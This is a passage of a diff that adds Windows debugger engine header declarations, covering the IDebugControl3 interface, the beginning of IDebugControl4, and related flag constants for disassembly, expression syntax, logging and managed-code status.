arbitrary text replacements in addition + // to the simple $u0-$u9 text macros. + // Text replacement takes a given source + // text in commands and converts it to the + // given destination text. Replacements + // are named by their source text so that + // only one replacement for a source text + // string can exist. + STDMETHOD(GetNumberTextReplacements)( + THIS_ + __out PULONG NumRepl + ) PURE; + // If SrcText is non-NULL the replacement + // is looked up by source text, otherwise + // Index is used to get the Nth replacement. + STDMETHOD(GetTextReplacement)( + THIS_ + __in_opt PCSTR SrcText, + __in ULONG Index, + __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer, + __in ULONG SrcBufferSize, + __out_opt PULONG SrcSize, + __out_ecount_opt(DstBufferSize) PSTR DstBuffer, + __in ULONG DstBufferSize, + __out_opt PULONG DstSize + ) PURE; + // Setting the destination text to + // NULL removes the alias. + STDMETHOD(SetTextReplacement)( + THIS_ + __in PCSTR SrcText, + __in_opt PCSTR DstText + ) PURE; + STDMETHOD(RemoveTextReplacements)( + THIS + ) PURE; + // Outputs the complete list of current + // replacements. + STDMETHOD(OutputTextReplacements)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; +}; + +// +// Assembly/disassembly options. +// +// The specific effects of these flags varies depending +// on the particular instruction set. +// + +#define DEBUG_ASMOPT_DEFAULT 0x00000000 +// Display additional information in disassembly. +#define DEBUG_ASMOPT_VERBOSE 0x00000001 +// Do not display raw code bytes in disassembly. +#define DEBUG_ASMOPT_NO_CODE_BYTES 0x00000002 +// Do not take the output width into account when +// formatting disassembly. +#define DEBUG_ASMOPT_IGNORE_OUTPUT_WIDTH 0x00000004 +// Display source file line number before each line if available. +#define DEBUG_ASMOPT_SOURCE_LINE_NUMBER 0x00000008 + +// +// Expression syntax options. +// + +// MASM-style expression evaluation. +#define DEBUG_EXPR_MASM 0x00000000 +// C++-style expression evaluation. +#define DEBUG_EXPR_CPLUSPLUS 0x00000001 + +// +// Event index description information. +// + +#define DEBUG_EINDEX_NAME 0x00000000 + +// +// SetNextEventIndex relation options. +// + +// Value increases forward from the first index. +#define DEBUG_EINDEX_FROM_START 0x00000000 +// Value increases backwards from the last index. +#define DEBUG_EINDEX_FROM_END 0x00000001 +// Value is a signed delta from the current index. +#define DEBUG_EINDEX_FROM_CURRENT 0x00000002 + +#undef INTERFACE +#define INTERFACE IDebugControl3 +DECLARE_INTERFACE_(IDebugControl3, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugControl. + + // Checks for a user interrupt, such a Ctrl-C + // or stop button. + // This method is reentrant. + STDMETHOD(GetInterrupt)( + THIS + ) PURE; + // Registers a user interrupt. + // This method is reentrant. + STDMETHOD(SetInterrupt)( + THIS_ + __in ULONG Flags + ) PURE; + // Interrupting a user-mode process requires + // access to some system resources that the + // process may hold itself, preventing the + // interrupt from occurring. The engine + // will time-out pending interrupt requests + // and simulate an interrupt if necessary. + // These methods control the interrupt timeout. + STDMETHOD(GetInterruptTimeout)( + THIS_ + __out PULONG Seconds + ) PURE; + STDMETHOD(SetInterruptTimeout)( + THIS_ + __in ULONG Seconds + ) PURE; + + STDMETHOD(GetLogFile)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FileSize, + __out PBOOL Append + ) PURE; + // Opens a log file which collects all + // output. Output from every client except + // those that explicitly disable logging + // goes into the log. + // Opening a log file closes any log file + // already open. + STDMETHOD(OpenLogFile)( + THIS_ + __in PCSTR File, + __in BOOL Append + ) PURE; + STDMETHOD(CloseLogFile)( + THIS + ) PURE; + // Controls what output is logged. + STDMETHOD(GetLogMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetLogMask)( + THIS_ + __in ULONG Mask + ) PURE; + + // Input requests input from all clients. + // The first input that is returned is used + // to satisfy the call. Other returned + // input is discarded. + STDMETHOD(Input)( + THIS_ + __out_ecount(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG InputSize + ) PURE; + // This method is used by clients to return + // input when it is available. It will + // return S_OK if the input is used to + // satisfy an Input call and S_FALSE if + // the input is ignored. + // This method is reentrant. + STDMETHOD(ReturnInput)( + THIS_ + __in PCSTR Buffer + ) PURE; + + // Sends output through clients + // output callbacks if the mask is allowed + // by the current output control mask and + // according to the output distribution + // settings. + STDMETHODV(Output)( + THIS_ + __in ULONG Mask, + __in PCSTR Format, + ... + ) PURE; + STDMETHOD(OutputVaList)( + THIS_ + __in ULONG Mask, + __in PCSTR Format, + __in va_list Args + ) PURE; + // The following methods allow direct control + // over the distribution of the given output + // for situations where something other than + // the default is desired. These methods require + // extra work in the engine so they should + // only be used when necessary. + STDMETHODV(ControlledOutput)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCSTR Format, + ... + ) PURE; + STDMETHOD(ControlledOutputVaList)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCSTR Format, + __in va_list Args + ) PURE; + + // Displays the standard command-line prompt + // followed by the given output. If Format + // is NULL no additional output is produced. + // Output is produced under the + // DEBUG_OUTPUT_PROMPT mask. + // This method only outputs the prompt; it + // does not get input. + STDMETHODV(OutputPrompt)( + THIS_ + __in ULONG OutputControl, + __in_opt PCSTR Format, + ... + ) PURE; + STDMETHOD(OutputPromptVaList)( + THIS_ + __in ULONG OutputControl, + __in_opt PCSTR Format, + __in va_list Args + ) PURE; + // Gets the text that would be displayed by OutputPrompt. + STDMETHOD(GetPromptText)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + // Outputs information about the current + // debuggee state such as a register + // summary, disassembly at the current PC, + // closest symbol and others. + // Uses the line prefix. + STDMETHOD(OutputCurrentState)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; + + // Outputs the debugger and extension version + // information. This method is reentrant. + // Uses the line prefix. + STDMETHOD(OutputVersionInformation)( + THIS_ + __in ULONG OutputControl + ) PURE; + + // In user-mode debugging sessions the + // engine will set an event when + // exceptions are continued. This can + // be used to synchronize other processes + // with the debuggers handling of events. + // For example, this is used to support + // the e argument to ntsd. + STDMETHOD(GetNotifyEventHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + STDMETHOD(SetNotifyEventHandle)( + THIS_ + __in ULONG64 Handle + ) PURE; + + STDMETHOD(Assemble)( + THIS_ + __in ULONG64 Offset, + __in PCSTR Instr, + __out PULONG64 EndOffset + ) PURE; + STDMETHOD(Disassemble)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG DisassemblySize, + __out PULONG64 EndOffset + ) PURE; + // Returns the value of the effective address + // computed for the last Disassemble, if there + // was one. + STDMETHOD(GetDisassembleEffectiveOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Uses the line prefix if necessary. + STDMETHOD(OutputDisassembly)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG Flags, + __out PULONG64 EndOffset + ) PURE; + // Produces multiple lines of disassembly output. + // There will be PreviousLines of disassembly before + // the given offset if a valid disassembly exists. + // In all, there will be TotalLines of output produced. + // The first and last line offsets are returned + // specially and all lines offsets can be retrieved + // through LineOffsets. LineOffsets will contain + // offsets for each line where disassembly started. + // When disassembly of a single instruction takes + // multiple lines the initial offset will be followed + // by DEBUG_INVALID_OFFSET. + // Uses the line prefix. + STDMETHOD(OutputDisassemblyLines)( + THIS_ + __in ULONG OutputControl, + __in ULONG PreviousLines, + __in ULONG TotalLines, + __in ULONG64 Offset, + __in ULONG Flags, + __out_opt PULONG OffsetLine, + __out_opt PULONG64 StartOffset, + __out_opt PULONG64 EndOffset, + __out_ecount_opt(TotalLines) PULONG64 LineOffsets + ) PURE; + // Returns the offset of the start of + // the instruction thats the given + // delta away from the instruction + // at the initial offset. + // This routine does not check for + // validity of the instruction or + // the memory containing it. + STDMETHOD(GetNearInstruction)( + THIS_ + __in ULONG64 Offset, + __in LONG Delta, + __out PULONG64 NearOffset + ) PURE; + + // Offsets can be passed in as zero to use the current + // thread state. + STDMETHOD(GetStackTrace)( + THIS_ + __in ULONG64 FrameOffset, + __in ULONG64 StackOffset, + __in ULONG64 InstructionOffset, + __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __out_opt PULONG FramesFilled + ) PURE; + // Does a simple stack trace to determine + // what the current return address is. + STDMETHOD(GetReturnOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // If Frames is NULL OutputStackTrace will + // use GetStackTrace to get FramesSize frames + // and then output them. The current register + // values for frame, stack and instruction offsets + // are used. + // Uses the line prefix. + STDMETHOD(OutputStackTrace)( + THIS_ + __in ULONG OutputControl, + __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __in ULONG Flags + ) PURE; + + // Returns information about the debuggee such + // as user vs. kernel, dump vs. live, etc. + STDMETHOD(GetDebuggeeType)( + THIS_ + __out PULONG Class, + __out PULONG Qualifier + ) PURE; + // Returns the type of physical processors in + // the machine. + // Returns one of the IMAGE_FILE_MACHINE values. + STDMETHOD(GetActualProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + // Returns the type of processor used in the + // current processor context. + STDMETHOD(GetExecutingProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + // Query all the possible processor types that + // may be encountered during this debug session. + STDMETHOD(GetNumberPossibleExecutingProcessorTypes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetPossibleExecutingProcessorTypes)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Types + ) PURE; + // Get the number of actual processors in + // the machine. + STDMETHOD(GetNumberProcessors)( + THIS_ + __out PULONG Number + ) PURE; + // PlatformId is one of the VER_PLATFORM values. + // Major and minor are as given in the NT + // kernel debugger protocol. + // ServicePackString and ServicePackNumber indicate the + // system service pack level. ServicePackNumber is not + // available in some sessions where the service pack level + // is only expressed as a string. The service pack information + // will be empty if the system does not have a service pack + // applied. + // The build string is string information identifying the + // particular build of the system. The build string is + // empty if the system has no particular identifying + // information. + STDMETHOD(GetSystemVersion)( + THIS_ + __out PULONG PlatformId, + __out PULONG Major, + __out PULONG Minor, + __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString, + __in ULONG ServicePackStringSize, + __out_opt PULONG ServicePackStringUsed, + __out PULONG ServicePackNumber, + __out_ecount_opt(BuildStringSize) PSTR BuildString, + __in ULONG BuildStringSize, + __out_opt PULONG BuildStringUsed + ) PURE; + // Returns the page size for the currently executing + // processor context. The page size may vary between + // processor types. + STDMETHOD(GetPageSize)( + THIS_ + __out PULONG Size + ) PURE; + // Returns S_OK if the current processor context uses + // 64-bit addresses, otherwise S_FALSE. + STDMETHOD(IsPointer64Bit)( + THIS + ) PURE; + // Reads the bugcheck data area and returns the + // current contents. This method only works + // in kernel debugging sessions. + STDMETHOD(ReadBugCheckData)( + THIS_ + __out PULONG Code, + __out PULONG64 Arg1, + __out PULONG64 Arg2, + __out PULONG64 Arg3, + __out PULONG64 Arg4 + ) PURE; + + // Query all the processor types supported by + // the engine. This is a complete list and is + // not related to the machine running the engine + // or the debuggee. + STDMETHOD(GetNumberSupportedProcessorTypes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetSupportedProcessorTypes)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Types + ) PURE; + // Returns a full, descriptive name and an + // abbreviated name for a processor type. + STDMETHOD(GetProcessorTypeNames)( + THIS_ + __in ULONG Type, + __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer, + __in ULONG FullNameBufferSize, + __out_opt PULONG FullNameSize, + __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer, + __in ULONG AbbrevNameBufferSize, + __out_opt PULONG AbbrevNameSize + ) PURE; + + // Gets and sets the type of processor to + // use when doing things like setting + // breakpoints, accessing registers, + // getting stack traces and so on. + STDMETHOD(GetEffectiveProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + STDMETHOD(SetEffectiveProcessorType)( + THIS_ + __in ULONG Type + ) PURE; + + // Returns information about whether and how + // the debuggee is running. Status will + // be GO if the debuggee is running and + // BREAK if it isnt. + // If no debuggee exists the status is + // NO_DEBUGGEE. + // This method is reentrant. + STDMETHOD(GetExecutionStatus)( + THIS_ + __out PULONG Status + ) PURE; + // Changes the execution status of the + // engine from stopped to running. + // Status must be one of the go or step + // status values. + STDMETHOD(SetExecutionStatus)( + THIS_ + __in ULONG Status + ) PURE; + + // Controls what code interpretation level the debugger + // runs at. The debugger checks the code level when + // deciding whether to step by a source line or + // assembly instruction along with other related operations. + STDMETHOD(GetCodeLevel)( + THIS_ + __out PULONG Level + ) PURE; + STDMETHOD(SetCodeLevel)( + THIS_ + __in ULONG Level + ) PURE; + + // Gets and sets engine control flags. + // These methods are reentrant. + STDMETHOD(GetEngineOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Gets and sets control values for + // handling system error events. + // If the system error level is less + // than or equal to the given levels + // the error may be displayed and + // the default break for the event + // may be set. + STDMETHOD(GetSystemErrorControl)( + THIS_ + __out PULONG OutputLevel, + __out PULONG BreakLevel + ) PURE; + STDMETHOD(SetSystemErrorControl)( + THIS_ + __in ULONG OutputLevel, + __in ULONG BreakLevel + ) PURE; + + // The command processor supports simple + // string replacement macros in Evaluate and + // Execute. There are currently ten macro + // slots available. Slots 0-9 map to + // the command invocations $u0-$u9. + STDMETHOD(GetTextMacro)( + THIS_ + __in ULONG Slot, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MacroSize + ) PURE; + STDMETHOD(SetTextMacro)( + THIS_ + __in ULONG Slot, + __in PCSTR Macro + ) PURE; + + // Controls the default number radix used + // in expressions and commands. + STDMETHOD(GetRadix)( + THIS_ + __out PULONG Radix + ) PURE; + STDMETHOD(SetRadix)( + THIS_ + __in ULONG Radix + ) PURE; + + // Evaluates the given expression string and + // returns the resulting value. + // If DesiredType is DEBUG_VALUE_INVALID then + // the natural type is used. + // RemainderIndex, if provided, is set to the index + // of the first character in the input string that was + // not used when evaluating the expression. + STDMETHOD(Evaluate)( + THIS_ + __in PCSTR Expression, + __in ULONG DesiredType, + __out PDEBUG_VALUE Value, + __out_opt PULONG RemainderIndex + ) PURE; + // Attempts to convert the input value to a value + // of the requested type in the output value. + // Conversions can fail if no conversion exists. + // Successful conversions may be lossy. + STDMETHOD(CoerceValue)( + THIS_ + __in PDEBUG_VALUE In, + __in ULONG OutType, + __out PDEBUG_VALUE Out + ) PURE; + STDMETHOD(CoerceValues)( + THIS_ + __in ULONG Count, + __in_ecount(Count) PDEBUG_VALUE In, + __in_ecount(Count) PULONG OutTypes, + __out_ecount(Count) PDEBUG_VALUE Out + ) PURE; + + // Executes the given command string. + // If the string has multiple commands + // Execute will not return until all + // of them have been executed. If this + // requires waiting for the debuggee to + // execute an internal wait will be done + // so Execute can take an arbitrary amount + // of time. + STDMETHOD(Execute)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Command, + __in ULONG Flags + ) PURE; + // Executes the given command file by + // reading a line at a time and processing + // it with Execute. + STDMETHOD(ExecuteCommandFile)( + THIS_ + __in ULONG OutputControl, + __in PCSTR CommandFile, + __in ULONG Flags + ) PURE; + + // Breakpoint interfaces are described + // elsewhere in this section. + STDMETHOD(GetNumberBreakpoints)( + THIS_ + __out PULONG Number + ) PURE; + // It is possible for this retrieval function to + // fail even with an index within the number of + // existing breakpoints if the breakpoint is + // a private breakpoint. + STDMETHOD(GetBreakpointByIndex)( + THIS_ + __in ULONG Index, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + STDMETHOD(GetBreakpointById)( + THIS_ + __in ULONG Id, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + // If Ids is non-NULL the Count breakpoints + // referred to in the Ids array are returned, + // otherwise breakpoints from index Start to + // Start + Count 1 are returned. + STDMETHOD(GetBreakpointParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Ids, + __in ULONG Start, + __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params + ) PURE; + // Breakpoints are created empty and disabled. + // When their parameters have been set they + // should be enabled by setting the ENABLE flag. + // If DesiredId is DEBUG_ANY_ID then the + // engine picks an unused ID. If DesiredId + // is any other number the engine attempts + // to use the given ID for the breakpoint. + // If another breakpoint exists with that ID + // the call will fail. + STDMETHOD(AddBreakpoint)( + THIS_ + __in ULONG Type, + __in ULONG DesiredId, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + // Breakpoint interface is invalid after this call. + STDMETHOD(RemoveBreakpoint)( + THIS_ + __in PDEBUG_BREAKPOINT Bp + ) PURE; + + // Control and use extension DLLs. + STDMETHOD(AddExtension)( + THIS_ + __in PCSTR Path, + __in ULONG Flags, + __out PULONG64 Handle + ) PURE; + STDMETHOD(RemoveExtension)( + THIS_ + __in ULONG64 Handle + ) PURE; + STDMETHOD(GetExtensionByPath)( + THIS_ + __in PCSTR Path, + __out PULONG64 Handle + ) PURE; + // If Handle is zero the extension + // chain is walked searching for the + // function. + STDMETHOD(CallExtension)( + THIS_ + __in ULONG64 Handle, + __in PCSTR Function, + __in_opt PCSTR Arguments + ) PURE; + // GetExtensionFunction works like + // GetProcAddress on extension DLLs + // to allow raw function-call-level + // interaction with extension DLLs. + // Such functions do not need to + // follow the standard extension prototype + // if they are not going to be called + // through the text extension interface. + // This function cannot be called remotely. + STDMETHOD(GetExtensionFunction)( + THIS_ + __in ULONG64 Handle, + __in PCSTR FuncName, + __out FARPROC* Function + ) PURE; + // These methods return alternate + // extension interfaces in order to allow + // interface-style extension DLLs to mix in + // older extension calls. + // Structure sizes must be initialized before + // the call. + // These methods cannot be called remotely. + STDMETHOD(GetWindbgExtensionApis32)( + THIS_ + __inout PWINDBG_EXTENSION_APIS32 Api + ) PURE; + STDMETHOD(GetWindbgExtensionApis64)( + THIS_ + __inout PWINDBG_EXTENSION_APIS64 Api + ) PURE; + + // The engine provides a simple mechanism + // to filter common events. Arbitrarily complicated + // filtering can be done by registering event callbacks + // but simple event filtering only requires + // setting the options of one of the predefined + // event filters. + // Simple event filters are either for specific + // events and therefore have an enumerant or + // they are for an exception and are based on + // the exceptions code. Exception filters + // are further divided into exceptions specially + // handled by the engine, which is a fixed set, + // and arbitrary exceptions. + // All three groups of filters are indexed together + // with the specific filters first, then the specific + // exception filters and finally the arbitrary + // exception filters. + // The first specific exception is the default + // exception. If an exception event occurs for + // an exception without settings the default + // exception settings are used. + STDMETHOD(GetNumberEventFilters)( + THIS_ + __out PULONG SpecificEvents, + __out PULONG SpecificExceptions, + __out PULONG ArbitraryExceptions + ) PURE; + // Some filters have descriptive text associated with them. + STDMETHOD(GetEventFilterText)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + // All filters support executing a command when the + // event occurs. + STDMETHOD(GetEventFilterCommand)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetEventFilterCommand)( + THIS_ + __in ULONG Index, + __in PCSTR Command + ) PURE; + STDMETHOD(GetSpecificFilterParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params + ) PURE; + STDMETHOD(SetSpecificFilterParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params + ) PURE; + // Some specific filters have arguments to further + // qualify their operation. + STDMETHOD(GetSpecificFilterArgument)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ArgumentSize + ) PURE; + STDMETHOD(SetSpecificFilterArgument)( + THIS_ + __in ULONG Index, + __in PCSTR Argument + ) PURE; + // If Codes is non-NULL Start is ignored. + STDMETHOD(GetExceptionFilterParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Codes, + __in ULONG Start, + __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params + ) PURE; + // The codes in the parameter data control the application + // of the parameter data. If a code is not already in + // the set of filters it is added. If the ExecutionOption + // for a code is REMOVE then the filter is removed. + // Specific exception filters cannot be removed. + STDMETHOD(SetExceptionFilterParameters)( + THIS_ + __in ULONG Count, + __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params + ) PURE; + // Exception filters support an additional command for + // second-chance events. + STDMETHOD(GetExceptionFilterSecondCommand)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetExceptionFilterSecondCommand)( + THIS_ + __in ULONG Index, + __in PCSTR Command + ) PURE; + + // Yields processing to the engine until + // an event occurs. This method may + // only be called by the thread that started + // the debug session. + // When an event occurs the engine carries + // out all event processing such as calling + // callbacks. + // If the callbacks indicate that execution should + // break the wait will return, otherwise it + // goes back to waiting for a new event. + // If the timeout expires, S_FALSE is returned. + // The timeout is not currently supported for + // kernel debugging. + STDMETHOD(WaitForEvent)( + THIS_ + __in ULONG Flags, + __in ULONG Timeout + ) PURE; + + // Retrieves information about the last event that occurred. + // EventType is one of the event callback mask bits. + // ExtraInformation contains additional event-specific + // information. Not all events have additional information. + STDMETHOD(GetLastEventInformation)( + THIS_ + __out PULONG Type, + __out PULONG ProcessId, + __out PULONG ThreadId, + __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation, + __in ULONG ExtraInformationSize, + __out_opt PULONG ExtraInformationUsed, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG DescriptionUsed + ) PURE; + + // IDebugControl2. + + STDMETHOD(GetCurrentTimeDate)( + THIS_ + __out PULONG TimeDate + ) PURE; + // Retrieves the number of seconds since the + // machine started running. + STDMETHOD(GetCurrentSystemUpTime)( + THIS_ + __out PULONG UpTime + ) PURE; + + // If the current session is a dump session, + // retrieves any extended format information. + STDMETHOD(GetDumpFormatFlags)( + THIS_ + __out PULONG FormatFlags + ) PURE; + + // The debugger has been enhanced to allow + // arbitrary text replacements in addition + // to the simple $u0-$u9 text macros. + // Text replacement takes a given source + // text in commands and converts it to the + // given destination text. Replacements + // are named by their source text so that + // only one replacement for a source text + // string can exist. + STDMETHOD(GetNumberTextReplacements)( + THIS_ + __out PULONG NumRepl + ) PURE; + // If SrcText is non-NULL the replacement + // is looked up by source text, otherwise + // Index is used to get the Nth replacement. + STDMETHOD(GetTextReplacement)( + THIS_ + __in_opt PCSTR SrcText, + __in ULONG Index, + __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer, + __in ULONG SrcBufferSize, + __out_opt PULONG SrcSize, + __out_ecount_opt(DstBufferSize) PSTR DstBuffer, + __in ULONG DstBufferSize, + __out_opt PULONG DstSize + ) PURE; + // Setting the destination text to + // NULL removes the alias. + STDMETHOD(SetTextReplacement)( + THIS_ + __in PCSTR SrcText, + __in_opt PCSTR DstText + ) PURE; + STDMETHOD(RemoveTextReplacements)( + THIS + ) PURE; + // Outputs the complete list of current + // replacements. + STDMETHOD(OutputTextReplacements)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; + + // IDebugControl3. + + // Control options for assembly and disassembly. + STDMETHOD(GetAssemblyOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddAssemblyOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveAssemblyOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetAssemblyOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Control the expression syntax. + STDMETHOD(GetExpressionSyntax)( + THIS_ + __out PULONG Flags + ) PURE; + STDMETHOD(SetExpressionSyntax)( + THIS_ + __in ULONG Flags + ) PURE; + // Look up a syntax by its abbreviated + // name and set it. + STDMETHOD(SetExpressionSyntaxByName)( + THIS_ + __in PCSTR AbbrevName + ) PURE; + STDMETHOD(GetNumberExpressionSyntaxes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetExpressionSyntaxNames)( + THIS_ + __in ULONG Index, + __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer, + __in ULONG FullNameBufferSize, + __out_opt PULONG FullNameSize, + __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer, + __in ULONG AbbrevNameBufferSize, + __out_opt PULONG AbbrevNameSize + ) PURE; + + // + // Some debug sessions have only a single + // possible event, such as a snapshot dump + // file; some have dynamic events, such as + // a live debug session; and others may have + // multiple events, such as a dump file that + // contains snapshots from different points + // in time. The following methods allow + // discovery and selection of the available + // events for a session. + // Sessions with one or more static events + // will be able to report all of the events + // when queried. Sessions with dynamic events + // will only report a single event representing + // the current event. + // Switching events constitutes execution and + // changing the current event will alter the + // execution status to a running state, after + // which WaitForEvent must be used to process + // the selected event. + // + + // GetNumberEvents returns S_OK if this is the + // complete set of events possible, such as for + // a static session; or S_FALSE if other events + // may be possible, such as for a dynamic session. + STDMETHOD(GetNumberEvents)( + THIS_ + __out PULONG Events + ) PURE; + // Sessions may have descriptive information for + // the various events available. The amount of + // information varies according to the specific + // session and data. + STDMETHOD(GetEventIndexDescription)( + THIS_ + __in ULONG Index, + __in ULONG Which, + __in_opt PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG DescSize + ) PURE; + STDMETHOD(GetCurrentEventIndex)( + THIS_ + __out PULONG Index + ) PURE; + // SetNextEventIndex works like seek in that + // it can set an absolute or relative index. + // SetNextEventIndex works similarly to SetExecutionStatus + // by putting the session into a running state, after + // which the caller must call WaitForEvent. The + // current event index only changes when WaitForEvent + // is called. + STDMETHOD(SetNextEventIndex)( + THIS_ + __in ULONG Relation, + __in ULONG Value, + __out PULONG NextIndex + ) PURE; +}; + +// +// Log file flags. +// + +#define DEBUG_LOG_DEFAULT 0x00000000 +#define DEBUG_LOG_APPEND 0x00000001 +#define DEBUG_LOG_UNICODE 0x00000002 +#define DEBUG_LOG_DML 0x00000004 + +// +// System version strings. +// + +#define DEBUG_SYSVERSTR_SERVICE_PACK 0x00000000 +#define DEBUG_SYSVERSTR_BUILD 0x00000001 + +// +// GetManagedStatus flags and strings. +// + +#define DEBUG_MANAGED_DISABLED 0x00000000 +#define DEBUG_MANAGED_ALLOWED 0x00000001 +#define DEBUG_MANAGED_DLL_LOADED 0x00000002 + +#define DEBUG_MANSTR_NONE 0x00000000 +#define DEBUG_MANSTR_LOADED_SUPPORT_DLL 0x00000001 +#define DEBUG_MANSTR_LOAD_STATUS 0x00000002 + +// +// ResetManagedStatus flags. +// + +// Reset state to default engine startup state with +// no support loaded. +#define DEBUG_MANRESET_DEFAULT 0x00000000 +// Force managed support DLL load attempt. +#define DEBUG_MANRESET_LOAD_DLL 0x00000001 + +#undef INTERFACE +#define INTERFACE IDebugControl4 +DECLARE_INTERFACE_(IDebugControl4, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugControl. + + // Checks for a user interrupt, such a Ctrl-C + // or stop button. + // This method is reentrant. + STDMETHOD(GetInterrupt)( + THIS + ) PURE; + // Registers a user interrupt. + // This method is reentrant. + STDMETHOD(SetInterrupt)( + THIS_ + __in ULONG Flags + ) PURE; + // Interrupting a user-mode process requires + // access to some system resources that the + // process may hold itself, preventing the + // interrupt from occurring. The engine + // will time-out pending interrupt requests + // and simulate an interrupt if necessary. + // These methods control the interrupt timeout. + STDMETHOD(GetInterruptTimeout)( + THIS_ + __out PULONG Seconds + ) PURE; + STDMETHOD(SetInterruptTimeout)( + THIS_ + __in ULONG Seconds + ) PURE; + + STDMETHOD(GetLogFile)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FileSize, + __out PBOOL Append + ) PURE; + // Opens a log file which collects all + // output. Output from every client except + // those that explicitly disable logging + // goes into the log. + // Opening a log file closes any log file + // already open. + STDMETHOD(OpenLogFile)( + THIS_ + __in PCSTR File, + __in BOOL Append + ) PURE; + STDMETHOD(CloseLogFile)( + THIS + ) PURE; + // Controls what output is logged. + STDMETHOD(GetLogMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetLogMask)( + THIS_ + __in ULONG Mask + ) PURE; + + // Input requests input from all clients. + // The first input that is returned is used + // to satisfy the call. Other returned + // input is discarded. + STDMETHOD(Input)( + THIS_ + __out_ecount(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG InputSize + ) PURE; + // This method is used by clients to return + // input when it is available. It will + // return S_OK if the input is used to + // satisfy an Input call and S_FALSE if + // the input is ignored. + // This method is reentrant. + STDMETHOD(ReturnInput)( + THIS_ + __in PCSTR Buffer + ) PURE; + + // Sends output through clients + // output callbacks if the 